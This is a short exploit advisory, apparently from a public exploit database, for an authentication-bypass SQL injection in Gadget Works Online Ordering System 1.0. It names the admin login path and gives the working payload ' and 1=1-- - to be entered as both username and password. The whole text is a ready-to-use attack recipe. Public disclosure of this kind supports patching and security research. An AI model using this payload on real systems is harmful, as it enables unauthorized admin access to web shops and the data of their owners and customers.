Gadget Works Online Ordering System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
# Exploit Title: Gadget works online ordering system - Authentication Bypass SQLi
# Date: 03/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/13093/gadget-works-online-ordering-system-phpmysqli.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4
Steps:
*Replace IP with the website IP
1). Goto login page (http://IP/philosophy/admin/login.php?logout=1)
2). For username and password enter for both fields the below payload and hit login.
Payload:
' and 1=1-- -
